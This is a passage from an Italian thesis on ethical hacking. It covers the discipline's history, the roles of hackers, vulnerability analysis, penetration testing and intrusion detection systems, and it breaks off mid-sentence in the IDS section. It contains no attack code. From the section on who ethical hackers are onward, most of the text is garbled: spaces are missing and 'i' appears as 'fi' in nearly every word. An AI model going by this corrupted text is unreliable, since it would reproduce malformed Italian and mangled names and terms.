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"Noi facciamo uso di un servizio già esistente che non costerebbe nulla se non fosse controllato da
approfittatori ingordi, e voi ci chiamate criminali. Noi esploriamo...e ci chiamate criminali. Noi

cerchiamo conoscenza...e ci chiamate criminali. Noi esistiamo senza colore di pelle, nazionalità, credi
religiosi e ci chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e

mentite e cercate di farci credere che lo fate per il nostro bene, e poi siamo noi i criminali."

Loyd Blankenship, ”The Hacker Manifesto”
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Sommario

La cybersecurity è diventata una componente cruciale del mondo digitale contemporaneo,
in cui la nostra vita quotidiana e l’economia globale sono sempre più interconnesse attraverso
Internet e le tecnologie digitali. La sicurezza delle informazioni è diventata una priorità
essenziale per individui, aziende e governi in tutto il mondo. La cybersecurity è cruciale
per rilevare e mitigare minacce, per evitare perdite finanziarie, danni alla reputazione e
interruzioni delle attività. In questo contesto, i penetration test giocano un ruolo fondamen-
tale nell’identificare vulnerabilità e debolezze nei sistemi e nelle infrastrutture. L’obiettivo
principale di questa tesi è introdurre il concetto di ethical hacking, partendo dai cenni storici,
raggiungendo i concetti chiave per finire all’impiego nel sociale. Inoltre, verranno introdotte
una serie di tecnologie coinvolte e di strumenti specifici nel settore, i quali verranno messi in
pratica e sfruttati in tre scenari differenti di penetration test.

Keyword: Digitalizzazione; Cybersecurity; Penetration Test; Vulnerabilità; Ethical Hacking;
Sistemi Informatici; Sicurezza Informatica.
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Introduzione

Nella società moderna, la sicurezza informatica è la pratica più diffusa per proteggere i
sistemi critici e le informazioni sensibili dagli attacchi digitali. Note anche come sicurezza
IT (Information Technology), le misure della sicurezza informatica sono progettate per
combattere le minacce contro sistemi in rete e applicazioni, che hanno origine sia all’interno
che all’esterno di un’organizzazione.

Nel 2020, il costo medio di una violazione dei dati era di 3,86 milioni di dollari a livello
globale e di 8,64 milioni di dollari negli Stati Uniti. Tali costi comprendono le spese di
individuazione e risposta alla violazione, il costo del tempo di inattività e del mancato
ricavo e il danno reputazionale a lungo termine per un’azienda ed il suo marchio. I criminali
informatici prendono di mira le informazioni che consentono l’identificazione personale
(Personally Identifiable Information, PII) dei clienti - nomi, indirizzi, numeri identificativi
nazionali (ad esempio, Numeri di Sicurezza Sociale negli Stati Uniti o codici fiscali in Italia),
informazioni sulle carte di credito - e rivendono tali record nei mercati digitali non autorizzati.
Spesso, le PII compromesse causano la perdita di fiducia da parte del cliente, sanzioni
normative e, addirittura, azioni legali.

La complessità dei sistemi di sicurezza, dovuta a tecnologie disparate e alla mancanza di
competenze interne, può amplificare tali costi. Tuttavia, le organizzazioni con una strategia
di sicurezza informatica completa, governata da best practice e automatizzata utilizzando
analitica avanzata, AI e Machine Learning, possono combattere le minacce informatiche
in modo più efficace e ridurre il ciclo di vita e l’impatto delle violazioni quando queste si
verificano.

La presente tesi è stata redatta in modo tale da mettere in risalto gli aspetti chiavi dell’E-
thical Hacking, l’attività che consiste nel simulare attacchi informatici, denominati penetration
test, per individuare i punti deboli dei sistemi aziendali e risolvere le falle. Gli hacker etici,
denominati anche “white hat”, in contrapposizione ai malintenzionati “black hat”, sono
degli esperti di sicurezza informatica al servizio di aziende e amministrazioni pubbliche, per
aiutarle a proteggere in modo più efficace le proprie infrastrutture.

Ingaggiati proprio per penetrare nel sistema informatico, gli ethical hacker sfruttano le
loro competenze per trovare eventuali debolezze nelle componenti hardware e software
dell’infrastruttura informatica che potrebbero essere utilizzate dai criminali informatici. L’o-
biettivo finale del loro agire è scoprire le vulnerabilità del sistema, effettuando dei penetration
test, in modo da poterle riparare nell’interesse dell’organizzazione e, più in generale, di
chiunque utilizzi quel determinato software.

All’interno di questa trattazione, sono stati analizzati tre penetration test che corrispon-
dono a tre diversi scenari in cui sono state scelte come bersaglio delle macchine fornite

1



2

dalla piattaforma web denominata Hack The Box. Il fattore comune di questi scenari è il
sistema operativo Linux, ma, in ognuno di essi, vi sono delle vulnerabilità differenti e, di
conseguenza, si riscontra l’uso di svariati software che rivestono un ruolo coadiuvante nella
fase di exploitation. Nella trattazione, questi ultimi sono stati descritti in modo adeguato per
fornire un’idea chiara del loro funzionamento.

Il sistema operativo in cui sono stati effettuati i penetration test suddetti è Kali Linux,
ambiente privilegiato per questo tipo di test. La sua popolarità deriva da una combinazione
di caratteristiche e vantaggi che lo rendono uno strumento essenziale per gli ethical hacker di
tutto il mondo. Innanzitutto, esso offre una vasta gamma di strumenti di penetration testing
preinstallati, che spaziano dalla scansione delle vulnerabilità all’hacking etico, dall’analisi
dei pacchetti di rete alla manipolazione delle password.

Un altro punto di forza di Kali Linux è la facilità d’uso. La distribuzione è progettata per
essere intuitiva ed è dotata di un’interfaccia user-friendly che consente agli utenti di accedere
facilmente agli strumenti di cui hanno bisogno. Questo è particolarmente importante quando
si lavora in situazioni ad alta pressione, dove il tempo è un fattore critico.

Un altro motivo per cui Kali Linux è scelto per i penetration test è la sua costante manuten-
zione e il suo costante aggiornamento in quanto la distribuzione è costantemente monitorata
e aggiornata dalla comunità di sicurezza informatica, garantendo che gli utenti abbiano
accesso agli ultimi aggiornamenti di sicurezza e alle versioni più recenti degli strumenti di
hacking etico.

La presente tesi è composta da sette capitoli; in particolare:

• Nel Capitolo 1 verranno introdotte la definizione e la storia dell’ethical hacking. In
particolare si definisce la figura dell’hacker etico, mettendo in risalto l’importanza del
lavoro svolto e la distinzione tra Black Hat Hacker, Gray Hat Hacker e White Hat Hacker.
Successivamente, si danno dei cenni storici riguardanti l’ethical hacking, sottolinean-
done le evoluzioni principali nel corso degli anni. Proseguendo, vengono descritti i
principali concetti che caratterizzano l’ethical hacking e il suo impiego nel sociale.

• Nel Capitolo 2 vengono discusse le tecnologie e gli strumenti coinvolti nei penetration
test affrontati nei capitoli successivi, in modo tale da offrire una descrizione specifica
dei software utilizzati nelle varie fasi dei penetration test.

• Nel Capitolo 3 viene effettuato il primo penetration test sulla macchina denominata
Pilgrimage, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni
e l’analisi delle vulnerabilità, si effettua un exploit, sfruttando una CVE (Common
Vulnerabilities and Exposures), per ottenere la User Flag e la Root Flag.

• Nel Capitolo 4 viene effettuato il secondo penetration test sulla macchina denominata
Topology, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni e
l’analisi delle vulnerabilità, si effettua un exploit, sfruttando una LaTex Injection, per
ottenere l’accesso alla Shell Utente e alla Shell Root.

• Nel Capitolo 5 viene effettuato il terzo penetration test sulla macchina denominata
Sandworm, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni e
l’analisi delle vulnerabilità, si effettua un exploit per ottenere la User Flag e la Root
Flag.

• Nel Capitolo 6 viene effettuata una breve discussione sul lavoro svolto.

• Nel Capitolo 7 vengono tratte le conclusioni e vengono forniti alcuni possibili sviluppi
futuri.



CAPITOLO 1

Introduzione all’Ethical hacking

Questo capitolo introduttivo offre un’immersione approfondita nei fondamenti dell’ethical hacking, dalla
sua definizione e storia fino ai concetti fondamentali e all’impatto sociale. Attraverso l’esplorazione di questi
elementi chiave, si aprono le porte a una comprensione completa di come l’ethical hacking si inserisca nel
panorama sempre più complesso della sicurezza informatica.

Scavare nella storia dell’ethical hacking ci consente di comprendere come questo campo sia emerso dalla
necessità di contrastare le minacce informatiche crescenti: dai primi tentativi di esplorare le vulnerabilità dei
sistemi informatici, fino alla formulazione dell’etica e delle pratiche guidate dalla responsabilità, l’evoluzione
dell’ethical hacking è un viaggio che rivela le radici di una disciplina dedicata a proteggere e migliorare la
sicurezza digitale.

1.1 Definizione e Storia

Nell’era digitale in cui la tecnologia permea ogni aspetto delle nostre vite, la sicurezza
informatica è diventata una priorità imprescindibile. L’aumento esponenziale delle minacce
informatiche e delle vulnerabilità dei sistemi ha posto l’attenzione sulla necessità di difendere
i dati sensibili e le risorse digitali. In questo contesto, l’ethical hacking si è affermato come uno
strumento cruciale nella lotta contro le minacce informatiche, rappresentando un’interessante
congiunzione tra la sfida di penetrare i sistemi e la responsabilità di proteggerli.

1.1.1 Chi è l’hacker etico

Un hacker etico è un esperto di sicurezza informatica capace di simulare attacchi a
reti, infrastrutture IT (Information Technology), siti web o applicazioni, per identificare
e risolvere eventuali vulnerabilità e migliorarne la sicurezza. Questa figura mette le sue
capacità a disposizione di chi, come le aziende, deve difendersi da azioni ostili finalizzate a
danneggiare la riservatezza, l’integrità e la disponibilità di dati memorizzati o elaborati da
sistemi informatici.

Infatti, l’hacking etico è la pratica che consiste nell’eseguire valutazioni del rischio per la
sicurezza informatica, utilizzando le stesse strategie che usano gli hacker, ma con l’approva-
zione e l’autorizzazione dell’organizzazione in cui si sta operando. L’obiettivo è individuare i
potenziali punti deboli di un’applicazione, di un sistema informatico o dell’infrastruttura
di un’azienda per rafforzare la protezione, accrescere la sicurezza dei dati, diminuire i ri-
schi informatici, contrastare meglio le possibili violazioni e ridurre il potenziale danno di
reputazione.
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Inaltreparole,l’azfiendaconsenteaglfihackeretficfi–chepossonoesserefreelance,fim-
pfiegatfidfiun’agenzfiaspecfialfizzatafinservfizfidficybersecurfity,oppuredfipendentfifinternfi-
dfisvolgereleattfivfitàutfilfipertestareledfifesedelsfistema(penetratfiontest)alloscopodfi
svfilupparesoluzfionfiperprevenfirelevfiolazfionfidefidatfi.Pertanto,adfifferenzadelcrackfing,
cfioèl’accessononautorfizzatoaunsfistemafinformatficoattraversovarfietecnfiche,l’hackfing
etficoèunprocessopfianfificato,approvatoe,soprattutto,legale.

1.1.2 Cennfistorficfidell’ethficalhackfing

Lastorfiadeglfihackerhafinfizfionell’finverno1958-59al MassachussetsInstfituteofTech-
nology(MIT)dfiCambrfidge,filqualeospfitavaalsuofinternovarfigruppfidfistudentficon
finteressficomunfifuorfidalleoredfistudfio.Unodfiquestfigruppfierafil"Techmodelrafilroad
club(TMRC)",lacufistanzaeraquasfifinteramenteoccupatadaunenormeplastficoferrovfiarfio
moltodettaglfiatoeperfettamentefunzfionantegrazfieadunfimmensofintreccfiodficavfi,relè
edfinterruttorfisfituatfisottofilmodello.Altrfistudentfifinvece,quellfichefacevanopartedella
"Sfignal&PowerSubcommfittee"(S&P-sottocommfissfioneperlostudfiodefisegnalfiedell’ener-
gfia),sfioccupavanodfituttocfiòcheaccadevasottofilmodellfinoferrovfiarfio.Lacompagnfiadefi
telefonfi WesternElectrfic,sponsordell’fistfituto,procuravaallostessofirficambfiefimaterfialfi
necessarfialcorrettofunzfionamentodelsfistematelefonficounfiversfitarfio, manondfirado,
però,qualchepezzosfuggfivaalcontrollodefiresponsabfilfiefinfivaperessererfiadattatoafi
nuovfiscopfidelclub.

Congrandefimpegnoesfincerapassfione,l’elaboratosfistemachefacevamuoverefitrenfinfi
efunzfionarefisfingolfiscambfieracontfinuamentetestato,smontato,rfiassemblato,rfiparato
eperfezfionato,tantocheunprogettofintrapresoounprodottocostrufitononsoltantoper
adempfiereadunoscopospecfifico macheportasseconséfilpfiacerescatenatodellapura
partecfipazfioneeradetto"hack".

1960-70

Ffinoaglfiultfimfiannfisessantalacomunfitàhackerdel MIT,fimpegnataad"hakkare"le
macchfinedficufidfisponeva,studfiandonecfioèfilsfistema,progettandoassemblatorfi,debugger,
programmfimfiglfiorfi,alfinedfirenderlesemprepfiùefficfientfi,ebbemododficrescerefindfistur-
bata.Nelfrattempol’"hakkaggfio"stavacofinvolgendosemprepfiùfindfivfidufi,grazfieanche
allosvfilupparsfi,dal1965,nellaterzagenerazfionedficomputer,contrassegnatadall’utfilfizzodfi
cfircufitfifintegratfiamedfiaelargascala,dfisposfitfivfidfimemorfiadfimassaconcapacfitàdfimemo-
rfizzazfioneassafielevataeperfiferfichepfiùsofistficateedefficfientfi.Questopermfisel’utfilfizzodfi
mfinfiemficrocalcolatorfineglfiufficfi,nelleazfiende,edficalcolatorfipersonalfivennerofintrodottfi
sulmercatodefibenfidfilargoconsumo.

Glfiannfisettantavfiderol’applficazfionedell’etficahackersuscalamaggfiore:unpersonaggfio
leggendarfiodfiquestoperfiodoèJohnT.Draper,alfiasCaptafinCrunch,cheadottòquesto
pseudonfimodauna marcadficornlakechedavafinomaggfiounfischfietto.Draperscoprì
chequest’ultfimoemettevaunafrequenzadfi2600hertzlaquale,quandounalfineatelefonfica
dfirettaèfinattfiva,vfienefinvfiataall’altroestremo:entrambfiglfiestremfifinvfianoquestafrequenza
l’unl’altro.Conquestosegnaleera,percfiò,possfibfileeffettuaretelefonatefinqualsfiasfipartedel
mondogratfis:sfitrattavadell’finfizfiodelphone-phreakfing,l’attfivfitàdfichfistudfia,sperfimentao
sfruttafitelefonfi,lecompagnfieefisfistemfitelefonficfirficercandofalleall’finternodellatecnologfia
chepermettanousfinonprevfistfidalsfistema.

1980-90

Questfisonoglfiannfifincufilafebbredelcomputer,finfizfiatafinpficcolfinegozfidfisoftware,
esplodenefigrandfi magazzfinfienefipuntfivendfitaspecfialfizzatfi,proponendoprodottfisfia
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professfionalfichefamfilfiarfi.Imedfiasfipongonodomandesullamanfiadeficomputerdfiffusasfi
comeunvfirusesucomeconsfiderarefigfiovanfissfimficherfimangonofincollatfiallatastfieraper
ore.Eglfihacker?Loroavevanocontrfibufitoaquestaespansfioneedallacreazfionedfinuove
socfietàdfihardwareesoftware.Steve Wornak,unhackerpuro,creòl’AppleIIfilqualefu
lancfiatosulmercatodaSteveJobs,nonproprfiamenteunhacker,cheportòAppleadessere
unadellefindustrfiepfiùdfinamfichedelsettore,consorpassfierfimonteclamorosficonl’IBM,e
nel1980,adesserequotatafinborsa.

1990-2000

Inquestoperfiodosfifinfizfiaanotareladfifferenzatrachfidfifendefildfirfittod’autore(moltfi
hackersonoancheautorfidfisoftware)echfi,finvece,lavoraperdfiffonderecopfiepfiratadefi
softwareprotettfi.Possfiamodfirechefinquestaepocasfifinfizfianoadfidentfificarehacker"buonfi"
ehacker"cattfivfi".Sullascenacrfimfinaledell’hackfingdelperfiodo1990-2000spficcafilnome
dfiKevfinDavfid MfitnfickAKACondor,unprogrammatore,phreaker,cracker,edfingegnere
socfialestatunfitensechesfièdfistfintoperaverefinventatolatecnficadell’IPspoofing,tecnfica
finformatficafincufiunfindfivfiduooun’applficazfionemanfipolal’findfirfizzoIP(InternetProtocol)
dfiorfigfinenefipacchettfidfidatfitrasmessfisuunaretealfinedfinasconderelasuaverafidentfità
odfifindurrefinerrorefildestfinatarfio,eperlesuenotevolficapacfitàdfifingegneresocfiale,
avendoesegufitoalcunetralepfiùardfitefincursfionfineficomputerdelgovernodeglfiStatfiUnfitfi.
Catturato,fucondannatoasvarfiatfiannfidficarceree,attualmente,èunfamosoconsulente
perlasficurezza.

InItalfia,sempreacavallodeglfiglfiannfi’90efiprfimfiannfidel2000,perunafintrusfione
nellaretedellaBancad’ItalfiavfienearrestatoRaoulChfiesaAKANobody(Ffigura1.1)e Matteo
Del MfistroAKAneXusnell’operazfioneICE-TRAP:avevanolascfiatounmessaggfioconscrfitto
“questaretenonèsficura.FfirmatoFalangeArmata".

“HohackeratolaBancad’Italfiasoloperdfimostrarelalorovulnerabfilfità”haaffermatofin
un’fintervfistaRaoulChfiesa,adoggfiethficalhacker.Successfivamentehaaggfiunto:"Eravamo
una“banda”dfipfionfierfi,adolescentficontantfissfimotempolfiberoe,soprattutto,unavalanga
dficurfiosfitàpertuttoquellocheeranoletelecomunficazfionfi.PofiarrfivòfilCybercrfime,omeglfio,
filCrfimfineOrganfizzatoesfiscoprìcheconfil"cyber”sfipotevanofareunsaccodfisoldfi.Ecco,
questaèlaveradfifferenzatraquefipfionfierfidfiallora,mossfidallasolacurfiosfità,dallasfida,
dalfare“ragazzate”adoggfi,crfimfinalfiecrfimfinalfità,mfischfiatficonlacosfiddetta“Cyber War”,
o“Informatfion Warfare”.".

Ffigura1.1:L’ethficalhackerfitalfianoRaoulChfiesa
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1.1.3 Impfieghfidell’hackeretfico

UnHackeretficopuòtrovarefimpfiegocomeCyberSecurfityConsultant(persocfietàdfi
consulenzafinformatficaocomelfiberoprofessfionfista),oppurecomedfipendentedelrepartoIT
dfiazfiendedfivarfiotfipo,rficoprendolafiguradfiresponsabfileperlasficurezzafinformatfica.Cfi
sono,pofi,opportunfitàdfilavoroanchenellaPubblficaAmmfinfistrazfione.

GlfiHackerlavoranotfipficamentealcomputer,finufficfio,oppuredaremoto,conorarfidfi
lavorochevarfianoasecondadefiprogettfiedeglfiattacchfifinformatficfifincorso.

LadomandadfiHacker"buonfi"o"WhfiteHat"èfincostantecrescfita:ognfifimpresa,pficcola
ograndechesfia,haunfinsfiemedfidatfifingestfione,relatfivfiall’fimpresastessaoafiproprfi
clfientfi:adesempfionomfi,usernameepassword,datfidficontatto,finformazfionfipersonalfi,
coordfinatebancarfie,fattureedocumentficommercfialfi.Dfiquestofinsfieme moltoampfiodfi
finformazfionfi,l’azfiendadeveassficurareuntrattamentorfiservato,anchefinottemperanzaalle
dfisposfizfionfidfileggefinmaterfiadfiprfivacyeprotezfionedefidatfipersonalfi.

Nelcasodfiunveroeproprfioattaccohackermossodafintenzfionfimalevolfi,leconseguenze
negatfivepossonoesseredfivarfiotfipoedfidfiversagravfità:daunacadutadellareputazfione
azfiendale,allaperdfitadfidatfichemettonofinperficololabusfinesscontfinufity,oaddfirfitturaa
sanzfionfieconomficheperfilmancatorfispettodellaleggerfiguardantelaprfivacy.Perquestoè
cosìfimportanteperleazfiendeverfificarechefilproprfiosfistemafinformatficosfiasficuroechefi
datfisfianoprotettfi,grazfieall’afiutodfiEthficalHackerespertfi.

Solfitamentesonoleazfiendedfigrandfidfimensfionfiquellechefinvestonodfipfiùfinsficurezza
finformatfica,perrfidurrealmfinfimofilrfischfiodfiperdfitaomanomfissfionedefidatfi,oppurerealtà
chedevonogestfiredatfisensfibfilficomebanche,assficurazfionfi,strutturesanfitarfie,agenzfieed
entfigovernatfivfi(adesempfionelsettoredellaDfifesa),nonchèsocfietàITcheraccolgonoe
analfizzanoenormfiquantfitàdfidatfisufiproprfiutentfi.

1.1.4 Utfilfitàemetodfidfiprevenzfione

Comedettofinprecedenza,glfihackeretficfilavoranoprfincfipalmentealfiancodfiorganfizza-
zfionfi,governfiefimprese(azfiendedelsettoretecnologficoefindustrfiale,banche,assficurazfionfi),
perfiqualficercanofalledfisficurezzaederrorfidfiprogrammazfioneobug.

Unavoltafingaggfiato,l’EthficalHackeroPenetratfionTester,raccoglfiefinformazfionfisufi
sfistemfiITdamettereallaprova:protocollfidfisficurezza,findfirfizzfiIP,database,sedfifisfichedfi
servereretfifinformatfiche,personalefincarficatoallasficurezza,esvfiluppaunpfianodfiattacco.
Glfiattacchfipossonoesseresfiadfitfipovfirtuale,adesempfioattraversol’usodfispyware
dfidfiversotfipoewormprogettatfiperfintrodursfinelsfistemaeconsentfiredficontrollarefil
computerdaremoto,sfiadfitfipofisfico(furtodfiunfitàdfimemorfia,finterruzfionedficorrente,
danneggfiamentodelleapparecchfiature).Vfisonoanchepratfichedfisocfialengfineerfingo
socfialhackfing,ovverotecnfichedfi manfipolazfionedellepersoneperlaraccoltafillecfitadfi
finformazfionfi,comePINopassword.

Perraggfiungerefilsuoobfiettfivo,un Hackerhaadfisposfizfioneunampfioventaglfiodfi
tecnficheetools:penetratfiontest,vulnerabfilfityassessmentdfifinfrastruttureITeapplficazfionfi
web,sfimulazfionedfiattacchfiDoS(DenfialofServfice)oDDoS(DfistrfibutedDenfialofServfice),
dfiffusfionedfimalware,vfirusetrojan,tecnfichedfiphfishfing.

Conclusol’attacco,l’EthficalHackerpreparaunreportconun’analfisfidettaglfiatadellevul-
nerabfilfitàrfiscontrateedefipuntfidebolfidelsfistemaepropone,dficonseguenza,unremedfiatfion
plan,cfioèunaserfiedfisoluzfionfipermfiglfiorarefillfivellodelledfifesefinformatfiche.Esempfiodfi
soluzfionfisonofirewallpfiùefficacfi,sfistemfidfiautentficazfionepfiùfortfi(strongauthentficatfion),
sfistemfidfialert,strutturefisfichedfiprotezfionedell’hardware,corsfidfiformazfioneperaumen-
tarelaconsapevolezzadelpersonalerfiguardoallacybersecurfityeallemfinaccefinformatfiche,
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ealtroancora.Unavoltafimplementatequestemfisure,sarànuovamentecompfitodell’Hacker
testarelaloroefficacfia.

Rfiassumendoqufindfi,l’EthficalHackerpensaeoperacomesefosseunattaccante,perpofi
poterfintervenfirecomedfifensoredelsfistemafinformatficochehatentatodfisabotare.Loscopo
èquellodfifornfireunquadrodellfivellodfirfischfiorealeacufiun’organfizzazfioneèespostae
studfiareadeguatfiprovvedfimentfiecontromfisure.

1.2 Concettfidfiethficalhackfing

Esplorfiamofinprofondfitàficoncettfifondamentalfidell’ethficalhackfing,fillumfinandole
strategfie,lemetodologfieelefimplficazfionfietfichechecaratterfizzanoquestocampofinmodo
crucfiale.

1.2.1 VulnerabfilfityAnalysfis

Ilprfimoconcettodficufivalelapenaparlareèl’analfisfidellevulnerabfilfità,notaanche
comevulnerabfilfityanalysfisovulnerabfilfityassessment.

Cos’èunavulnerabfilfità?Lavulnerabfilfitàèfintesacomeunacomponentedfiunsfistemafin
corrfispondenzadellaqualelemfisuredfisficurezzasonoassentfi,rfidotteocompromesse,filche
rappresentaunpuntodebolecheconsenteauneventualeaggressoredfifinfiettaredelcodfice
malevolocompromettendolasficurezzadell’finterosfistema.

Sequestoavvfiene,l’attaccanteavràlachfiaveunfiversaleperaccedereall’finfrastruttura,
permettendol’estrapolazfionedfidatfisensfibfilfichepossonocausareundannoreputazfionale
fimportante.

L’effettfivaanalfisfidellevulnerabfilfitàècompostadadellescansfionfichevengonoeffettuate
sulle Webapposulleretfiazfiendalfimedfiantestrumentfiprofessfionalfi,ficosfiddettfivulnerabfilfity
scanner.Tramfitequestfiultfimfisfipossonoeffettuarefiseguentfitfipfidfiscansfionfi:

•scansfionfirelatfivealnetworkfingequfindfiafidfisposfitfivfidfirete;

•scansfionfirelatfiveaglfihost/server;

•scansfionfispecfificheperleretfiwfireless;

•scansfionfirelatfivealle Webapplficatfion;

•scansfionfirelatfiveafidatabase.

LefasfidellaVulnerabfilfityAnalysfis,comemostratonellaFfigura1.2,sonoleseguentfi:

1.Test:questafasefinfizfialecofinvolgelaraccoltadfifinformazfionfidettaglfiatesulsfistemao
sull’applficazfionedaesamfinare;vengonoutfilfizzatfistrumentfidfiscansfioneperfidentfi-
ficarepotenzfialfivulnerabfilfitàconoscfiute.Questfistrumentfipossonocercarebugnotfi,
configurazfionfierrateoaltredebolezzechepotrebberoesseresfruttate.

2.AnalfisfidelleVulnerabfilfità:unavoltafindfivfiduatelepossfibfilfivulnerabfilfità,vengono
analfizzatefindettaglfiopercomprenderecomepotrebberoesseresfruttatedaglfiaggres-
sorfi.Questafasecomporta,spesso,lavalutazfionedellefimplficazfionfiedellepossfibfilfi
conseguenzedficfiascunavulnerabfilfità.

3.Assessment:levulnerabfilfitàfindfivfiduatevengonoclassfificatefinbaseallalorogravfitàe
alloropotenzfialefimpattosullasficurezza.Questaclassfificazfioneafiutaastabfilfirequalfi
vulnerabfilfitàdovrebberoessereaffrontateperprfime,tenendocontodefirfischfiedelle
prfiorfitàdell’organfizzazfione.
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4.Remedfiatfion:consfistenell’fimplementazfionedfimfisurecorrettfiveedfimfitfigazfioneper
rfisolvereorfidurrelevulnerabfilfitàfidentfificatedurantel’analfisfi.L’obfiettfivoprfincfipale
dfiquestafaseèdfirenderefilsfistemaol’applficazfionepfiùsficurfi,rfiducendoalmfinfimofi
rfischfiassocfiatfiallevulnerabfilfitàeprevenendopotenzfialfiattacchfi.

Ffigura1.2:LefasfidellaVulnerabfilfityAnalysfis

OvvfiamentefilVulnerabfilfityAssessmenthaunruolofondamentalenell’EthficalHackfing
finquantocostfitufisceunodefipassfifinfizfialfidelprocessodfipenetratfiontestfing,partefintegrante
dell’ethficalhackfing.Glfiethficalhackereseguonoquestaanalfisfipercomprenderemeglfiofil
paesaggfiodelle mfinacceeledebolezzepresentfinefisfistemfipresfifinesame,ecfiòpermette
lorodfifidentfificarefipuntfipfiùcrfitficfichepotrebberoesseresfruttatfidaglfiaggressorfiedfi
svfilupparestrategfieperrafforzareledfifese.
Ibeneficfidell’AnalfisfidelleVulnerabfilfitàsonofiseguentfi:

•MfiglfioramentodellaSficurezza:fidentfificareerfisolverelevulnerabfilfitàpermettedfiau-
mentarelasficurezzaglobaledefisfistemfiedelleapplficazfionfi,rfiducendolasuperficfiedfi
attaccoperpotenzfialfiaggressorfi.

•ConformfitàalleNormatfive: moltenormatfiveeregolamentazfionfirfichfiedonol’analfisfi
perfiodficadellevulnerabfilfitàcomepartedellepratfichedfisficurezzafinformatfica.

•PrevenzfionedeglfiAttacchfi:rfisolverelevulnerabfilfitàprfimachepossanoesseresfruttate
daattacchfimalevolficontrfibufisceaprevenfireperdfitedfidatfiedannfi.

1.2.2 Penetratfiontestfing

Ilsecondoconcettocardfinedell’ethficalhackfingèquellodefipenetratfiontest(pentestoPT)
cherappresentanolatecnficadfisficurezzafinformatficautfilfizzataperfidentfificareedesamfinare
levulnerabfilfitàdelsfistemaelepossfibfilficonseguenzederfivabfilfidaun’fintrusfione.

Unpentestprevedelasfimulazfionedfiattacchfirealfipervalutarefilrfischfioconnessoa
potenzfialfivfiolazfionfidellasficurezza;efinpartficolare,fitesternonscopronosolovulnerabfilfità
chepotrebberoessereutfilfizzatedaglfiaggressorfimalesfruttanopervalutarecosapotrebbero
guadagnaretalfiutentfimalevolfidopoattacchfidfisuccesso.

L’fideaallabasedefipenetratfiontestè,qufindfi,l’fidentfificazfioneel’utfilfizzoautorfizzatoe
legaledfifalleall’finternodfiunamacchfina,usufruendodeglfistessfistrumentfietecnfichedfiun
potenzfialeaggressore.Inquestomodoèpossfibfileeffettuaredellevalutazfionfifinmerfitoalla
solfidfitàdelledfifesedfiunsfistemae,qufindfi,agfirefinmodopreventfivoperevfitareattacchfi
sullevulnerabfilfità.

IPTvengonoesegufitfidafigurechfiamate"EthficalHacker",fiqualfiutfilfizzanomentalfitàe
tecnfichedeglfiattaccantfi,sfruttandoquellechevengonodefinfitetecnfichedfiEthficalHackfing.
Talfifiguresonocapacfi,percfiò,dfisfimulare,antficfipareeprevenfireattacchfifinformatficfi.L’Ethfi-
calHackerè,dunque,fingradodfifinfiltrarsfifinretfiprotettesenzaautorfizzazfionfiattraversofi
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PT,dfitestarel’efficacfiadefisfistemfidfisficurezzaazfiendaleedfivalutarel’efficacfiadellemfisure
adottatefinoaquelmomento.

Ilpentestrfisultaessereunamfisuraproattfivadfisficurezzafinformatfica perchécomporta
mfiglfioramentficoerentfichesfibasanosufireportgeneratfidaltest.Cfiòdfifferfiscedaglfiapproccfi
nonproattfivfi,chemancanodellalungfimfiranzapermfiglfiorareledebolezzemanmanochesfi
presentano.Adesempfio,unapproccfiononproattfivofimplficherebbecheun’azfiendaaggfiornfi
filproprfiofirewallsolodopochesfiverfificaunavfiolazfionedefidatfi.L’obfiettfivodellemfisure
proattfive,comefilPT,finvece,èquellodfirfidurreal mfinfimofilnumerodfiaggfiornamentfi
retroattfivfiedfimassfimfizzarelasficurezzadfiun’organfizzazfione.

ComemostratonellaFfigura1.3,fillavorodeveessereattentamentedocumentatocondefi
report,chetanganotraccfiadefimezzfiutfilfizzatfidafiPenTesterperottenerelefinformazfionfi,
defipassaggfiedefiprocessfieffettfivfiutfilfizzatfiperesegufirefiteste,finfine,defirfisultatfiosservatfi.
Inquestomodo,glfisvfiluppatorfipossonorfiprodurrefinunsecondomomentolevulnerabfilfità
esfruttarle,nell’ottficadfistudfiarleerfisolverle.

Ipenetratfiontest,finoltre,rfisultanoesseredfifferentfidalVulnerabfilfityAssessment,cfioè
l’findfivfiduazfionedellevulnerabfilfità;spessotalfiprocessfivengonoassfimfilatfifinununfico
contesto,qufindfièopportunosottolfinearneladfistfinzfione.

Unavalutazfionedellevulnerabfilfitàconsfistenellarevfisfionedfisfistemfieservfizfiperfindfivfi-
duareeventualfiproblemfidfisficurezzachepotrebberoesseresfruttatfi,mentreunpenetratfion
testcompfieunpassosuccessfivo,traendovantaggfiodallevulnerabfilfitàfindfivfiduateconla
valutazfione.

Ffigura1.3:FasfidfiunPenetratfionTest

1.2.3 IntrusfionDetectfionSystem(IDS)

L’IntrusfionDetectfionSystem(IDS)èfilterzoconcettobasedell’hackfingetfico.Traducfibfile
finfitalfianocome"SfistemadfiRfilevamentodelleIntrusfionfi",èuncomponentechfiavenellasficu-
rezzafinformatficachemonfitoraeanalfizzal’attfivfitàdfireteedefisfistemfialfinedfifidentfificare
potenzfialfiattfivfitàmalevolfiononautorfizzate.
EsfistonoduetfipfiprfincfipalfidfiIDS:

•IDSBasatosuFfirme:questotfipodfiIDSrfilevalefintrusfionficonfrontandofimodellfidfi
trafficoconfirmenotedfiattacchfinotfi.Questefirmesonorappresentatfivedeficomporta-
mentfitfipficfideglfiattacchfinotfi,comevfirus,wormoexplofitspecfificfi.Quandol’IDStrova
unacorrfispondenzatrafiltrafficorfilevatoeunafirmaconoscfiuta,segnalaunpotenzfiale
attacco.

•IDSBasatosuAnomalfie:questotfipodfiIDS monfitoracostantementefilcomportamen-
tonormaledellareteedefisfistemfi.Quandovfienerfilevatouncomportamentoche
sfidfiscostasfignfificatfivamentedafi modellfidficomportamentonormalfi,l’IDSsegnala
un’anomalfia.Questoapproccfioèutfileperrfilevareattacchfisconoscfiutfionuovfiche
potrebberononaverefirmeconoscfiute.

UnIDSlavoraseguendoquestfipassaggfiprfincfipalfi:
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1.Monfitoraggfio:l’IDSraccoglfiedatfidaltrafficodfireteodalleattfivfitàdefisfistemfielfi
analfizzaperfindfivfiduareanomalfieofirmedfiattacchfi.

2.Analfisfi:l’IDSconfrontafidatfiraccoltficonlefirmeconoscfiuteoconfimodellfidficompor-
tamentonormaleperfidentfificareeventualfidevfiazfionfi.Incasodficorrfispondenze,l’IDS
